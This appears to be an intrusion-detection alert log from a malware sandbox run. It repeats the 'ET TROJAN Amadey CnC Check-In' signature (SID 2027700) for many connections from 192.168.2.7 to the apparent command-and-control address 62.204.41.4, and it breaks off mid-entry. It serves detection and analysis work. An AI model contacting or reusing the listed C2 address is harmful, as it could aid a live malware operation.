Timestamp:	192.168.2.762.204.41.450262802027700 02/06/23-18:38:22.083151
SID:	2027700
Source Port:	50262
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450108802027700 02/06/23-18:37:41.895553
SID:	2027700
Source Port:	50108
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449738802027700 02/06/23-18:36:01.020544
SID:	2027700
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449970802027700 02/06/23-18:37:04.713405
SID:	2027700
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450357802027700 02/06/23-18:38:48.553891
SID:	2027700
Source Port:	50357
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450340802027700 02/06/23-18:38:42.464572
SID:	2027700
Source Port:	50340
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450103802027700 02/06/23-18:37:40.718413
SID:	2027700
Source Port:	50103
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449990802027700 02/06/23-18:37:09.711792
SID:	2027700
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449892802027700 02/06/23-18:36:40.888979
SID:	2027700
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450352802027700 02/06/23-18:38:47.330598
SID:	2027700
Source Port:	50352
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449733802027700 02/06/23-18:35:59.781456
SID:	2027700
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450000802027700 02/06/23-18:37:14.484343
SID:	2027700
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450079802027700 02/06/23-18:37:34.965164
SID:	2027700
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450082802027700 02/06/23-18:37:35.692289
SID:	2027700
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450309802027700 02/06/23-18:38:35.147885
SID:	2027700
Source Port:	50309
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450254802027700 02/06/23-18:38:20.179240
SID:	2027700
Source Port:	50254
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449782802027700 02/06/23-18:36:11.473355
SID:	2027700
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449852802027700 02/06/23-18:36:29.914060
SID:	2027700
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450180802027700 02/06/23-18:38:00.687932
SID:	2027700
Source Port:	50180
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449754802027700 02/06/23-18:36:04.905748
SID:	2027700
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449926802027700 02/06/23-18:36:52.489079
SID:	2027700
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450287802027700 02/06/23-18:38:29.798910
SID:	2027700
Source Port:	50287
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449959802027700 02/06/23-18:37:02.027473
SID:	2027700
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450226802027700 02/06/23-18:38:13.375752
SID:	2027700
Source Port:	50226
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450324802027700 02/06/23-18:38:38.548279
SID:	2027700
Source Port:	50324
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450290802027700 02/06/23-18:38:30.501538
SID:	2027700
Source Port:	50290
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450116802027700 02/06/23-18:37:43.857816
SID:	2027700
Source Port:	50116
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449962802027700 02/06/23-18:37:02.769565
SID:	2027700
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450018802027700 02/06/23-18:37:19.057349
SID:	2027700
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450033802027700 02/06/23-18:37:22.700596
SID:	2027700
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450189802027700 02/06/23-18:38:02.860152
SID:	2027700
Source Port:	50189
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449787802027700 02/06/23-18:36:12.665967
SID:	2027700
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450218802027700 02/06/23-18:38:11.455700
SID:	2027700
Source Port:	50218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450152802027700 02/06/23-18:37:54.029428
SID:	2027700
Source Port:	50152
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450365802027700 02/06/23-18:38:50.493705
SID:	2027700
Source Port:	50365
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450282802027700 02/06/23-18:38:28.628161
SID:	2027700
Source Port:	50282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449995802027700 02/06/23-18:37:11.226045
SID:	2027700
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450111802027700 02/06/23-18:37:42.623221
SID:	2027700
Source Port:	50111
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449824802027700 02/06/23-18:36:23.412568
SID:	2027700
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449741802027700 02/06/23-18:36:01.744620
SID:	2027700
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449954802027700 02/06/23-18:37:00.821017
SID:	2027700
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450337802027700 02/06/23-18:38:41.721828
SID:	2027700
Source Port:	50337
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450046802027700 02/06/23-18:37:25.862441
SID:	2027700
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449759802027700 02/06/23-18:36:06.092268
SID:	2027700
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450360802027700 02/06/23-18:38:49.288881
SID:	2027700
Source Port:	50360
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449889802027700 02/06/23-18:36:40.164302
SID:	2027700
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450005802027700 02/06/23-18:37:15.731218
SID:	2027700
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450259802027700 02/06/23-18:38:21.378414
SID:	2027700
Source Port:	50259
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450087802027700 02/06/23-18:37:36.937901
SID:	2027700
Source Port:	50087
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450124802027700 02/06/23-18:37:45.767098
SID:	2027700
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450026802027700 02/06/23-18:37:21.007243
SID:	2027700
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449982802027700 02/06/23-18:37:07.790106
SID:	2027700
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449988802027700 02/06/23-18:37:09.232773
SID:	2027700
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450255802027700 02/06/23-18:38:20.425505
SID:	2027700
Source Port:	50255
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449921802027700 02/06/23-18:36:50.850422
SID:	2027700
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449734802027700 02/06/23-18:36:00.024734
SID:	2027700
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450001802027700 02/06/23-18:37:14.735617
SID:	2027700
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450157802027700 02/06/23-18:37:55.206071
SID:	2027700
Source Port:	50157
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450353802027700 02/06/23-18:38:47.570344
SID:	2027700
Source Port:	50353
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449725802027700 02/06/23-18:35:56.007022
SID:	2027700
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449823802027700 02/06/23-18:36:23.177069
SID:	2027700
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449979802027700 02/06/23-18:37:06.951379
SID:	2027700
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449790802027700 02/06/23-18:36:13.365591
SID:	2027700
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449832802027700 02/06/23-18:36:25.351769
SID:	2027700
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450344802027700 02/06/23-18:38:44.257733
SID:	2027700
Source Port:	50344
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450246802027700 02/06/23-18:38:18.266167
SID:	2027700
Source Port:	50246
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450184802027700 02/06/23-18:38:01.659964
SID:	2027700
Source Port:	50184
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450143802027700 02/06/23-18:37:51.857942
SID:	2027700
Source Port:	50143
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449781802027700 02/06/23-18:36:11.243044
SID:	2027700
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450095802027700 02/06/23-18:37:38.824933
SID:	2027700
Source Port:	50095
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449963802027700 02/06/23-18:37:03.026261
SID:	2027700
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449893802027700 02/06/23-18:36:41.133872
SID:	2027700
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449922802027700 02/06/23-18:36:51.089881
SID:	2027700
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450115802027700 02/06/23-18:37:43.614292
SID:	2027700
Source Port:	50115
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450185802027700 02/06/23-18:38:01.897079
SID:	2027700
Source Port:	50185
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449851802027700 02/06/23-18:36:29.678141
SID:	2027700
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449804802027700 02/06/23-18:36:18.533346
SID:	2027700
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449762802027700 02/06/23-18:36:06.819557
SID:	2027700
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450227802027700 02/06/23-18:38:13.624631
SID:	2027700
Source Port:	50227
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450061802027700 02/06/23-18:37:29.246156
SID:	2027700
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450316802027700 02/06/23-18:38:36.846930
SID:	2027700
Source Port:	50316
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450020802027700 02/06/23-18:37:19.544837
SID:	2027700
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450274802027700 02/06/23-18:38:25.337791
SID:	2027700
Source Port:	50274
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450070802027700 02/06/23-18:37:32.801483
SID:	2027700
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449794802027700 02/06/23-18:36:14.301275
SID:	2027700
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449938802027700 02/06/23-18:36:57.008660
SID:	2027700
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450073802027700 02/06/23-18:37:33.536848
SID:	2027700
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450058802027700 02/06/23-18:37:28.499164
SID:	2027700
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450156802027700 02/06/23-18:37:54.967951
SID:	2027700
Source Port:	50156
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450067802027700 02/06/23-18:37:31.325633
SID:	2027700
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449880802027700 02/06/23-18:36:37.960430
SID:	2027700
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449950802027700 02/06/23-18:36:59.857429
SID:	2027700
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449766802027700 02/06/23-18:36:07.787301
SID:	2027700
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450128802027700 02/06/23-18:37:46.748438
SID:	2027700
Source Port:	50128
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449864802027700 02/06/23-18:36:32.756228
SID:	2027700
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449775802027700 02/06/23-18:36:09.999214
SID:	2027700
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450214802027700 02/06/23-18:38:10.502845
SID:	2027700
Source Port:	50214
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449849802027700 02/06/23-18:36:29.177906
SID:	2027700
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449947802027700 02/06/23-18:36:59.148434
SID:	2027700
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450042802027700 02/06/23-18:37:24.857893
SID:	2027700
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450140802027700 02/06/23-18:37:51.157275
SID:	2027700
Source Port:	50140
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450296802027700 02/06/23-18:38:31.975155
SID:	2027700
Source Port:	50296
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450131802027700 02/06/23-18:37:47.485008
SID:	2027700
Source Port:	50131
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450312802027700 02/06/23-18:38:35.876032
SID:	2027700
Source Port:	50312
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450303802027700 02/06/23-18:38:33.662984
SID:	2027700
Source Port:	50303
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450086802027700 02/06/23-18:37:36.704777
SID:	2027700
Source Port:	50086
Destination Port:	80
Protocol:	TCP
